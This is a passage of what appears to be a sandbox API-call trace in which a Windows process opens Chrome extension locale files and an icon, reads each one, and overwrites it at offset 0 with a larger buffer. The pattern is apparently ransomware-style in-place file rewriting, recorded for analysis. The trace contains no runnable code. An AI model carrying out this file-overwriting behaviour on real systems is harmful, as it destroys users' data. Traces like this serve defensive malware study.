[0062.842] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.842] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.842] ReleaseMutex (hMutex=0x128) returned 1 [0062.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.842] ReadFile (in: hFile=0x1b0, lpBuffer=0x2593248, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2593248*, lpNumberOfBytesRead=0x340f2bc*=0xe2, lpOverlapped=0x0) returned 1 [0062.843] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.843] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x66a, lpOverlapped=0x0) returned 1 [0062.843] CloseHandle (hObject=0x1b0) returned 1 [0062.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.844] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.844] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xd0 [0062.844] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.844] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.844] ReleaseMutex (hMutex=0x128) returned 1 [0062.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.844] ReadFile (in: hFile=0x1b0, lpBuffer=0x2564448, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2564448*, lpNumberOfBytesRead=0x340f2bc*=0xd0, lpOverlapped=0x0) returned 1 [0062.845] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.845] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x658, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x658, lpOverlapped=0x0) returned 1 [0062.845] CloseHandle (hObject=0x1b0) returned 1 [0062.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.846] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.846] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xec [0062.846] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.846] ReleaseMutex (hMutex=0x128) returned 1 [0062.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.846] ReadFile (in: hFile=0x1b0, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x340f2bc*=0xec, lpOverlapped=0x0) returned 1 [0062.847] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.847] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x674, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x674, lpOverlapped=0x0) returned 1 [0062.847] CloseHandle (hObject=0x1b0) returned 1 [0062.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.848] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.848] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1378 [0062.848] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.848] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.848] ReleaseMutex (hMutex=0x128) returned 1 [0062.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="128.png", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0062.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="128.png", cchWideChar=7, lpMultiByteStr=0x1e6a8dc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="128.png", lpUsedDefaultChar=0x0) returned 7 [0062.849] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f2bc*=0x1378, lpOverlapped=0x0) returned 1 [0062.850] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.850] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f2d0*=0x1900, lpOverlapped=0x0) returned 1 [0062.850] CloseHandle (hObject=0x1b0) returned 1 [0062.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.851] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.851] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x114 [0062.851] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.851] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.851] ReleaseMutex (hMutex=0x128) returned 1 [0062.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.851] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e0bd18, nNumberOfBytesToRead=0x114, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0bd18*, lpNumberOfBytesRead=0x340f2bc*=0x114, lpOverlapped=0x0) returned 1 [0062.852] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.852] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x69c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x69c, lpOverlapped=0x0) returned 1 [0062.852] CloseHandle (hObject=0x1b0) returned 1 [0062.852] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.192] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.192] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xe3 [0063.192] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.192] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.192] ReleaseMutex (hMutex=0x128) returned 1 [0063.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.192] ReadFile (in: hFile=0x1b0, lpBuffer=0x2592bb8, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2592bb8*, lpNumberOfBytesRead=0x340f2bc*=0xe3, lpOverlapped=0x0) returned 1 [0063.193] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.193] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66b, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x66b, lpOverlapped=0x0) returned 1 [0063.193] CloseHandle (hObject=0x1b0) returned 1 [0063.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.194] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.194] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x13e [0063.194] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.194] ReleaseMutex (hMutex=0x128) returned 1 [0063.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.194] ReadFile (in: hFile=0x1b0, lpBuffer=0x27c3518, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27c3518*, lpNumberOfBytesRead=0x340f2bc*=0x13e, lpOverlapped=0x0) returned 1 [0063.195] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.195] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6c6, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x6c6, lpOverlapped=0x0) returned 1 [0063.195] CloseHandle (hObject=0x1b0) returned 1 [0063.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.196] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.196] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x25f [0063.198] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.198] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.198] ReleaseMutex (hMutex=0x128) returned 1 [0063.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.198] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x25f, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x340f2bc*=0x25f, lpOverlapped=0x0) returned 1 [0063.200] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.200] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7e7, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x7e7, lpOverlapped=0x0) returned 1 [0063.200] CloseHandle (hObject=0x1b0) returned 1 [0063.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.200] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.200] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x20b [0063.200] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.200] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.201] ReleaseMutex (hMutex=0x128) returned 1 [0063.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.201] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x20b, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x340f2bc*=0x20b, lpOverlapped=0x0) returned 1 [0063.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.201] WriteFile (in: hFile=0x1b0, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x793, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x340f2d0*=0x793, lpOverlapped=0x0) returned 1 [0063.202] CloseHandle (hObject=0x1b0) returned 1 [0063.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.202] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.202] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xbe [0063.202] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.202] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.203] ReleaseMutex (hMutex=0x128) returned 1 [0063.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.203] ReadFile (in: hFile=0x1b0, lpBuffer=0x25872a8, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25872a8*, lpNumberOfBytesRead=0x340f2bc*=0xbe, lpOverlapped=0x0) returned 1 [0063.203] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.203] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x646, lpOverlapped=0x0) returned 1 [0063.204] CloseHandle (hObject=0x1b0) returned 1 [0063.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.204] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.204] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xdd [0063.204] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: 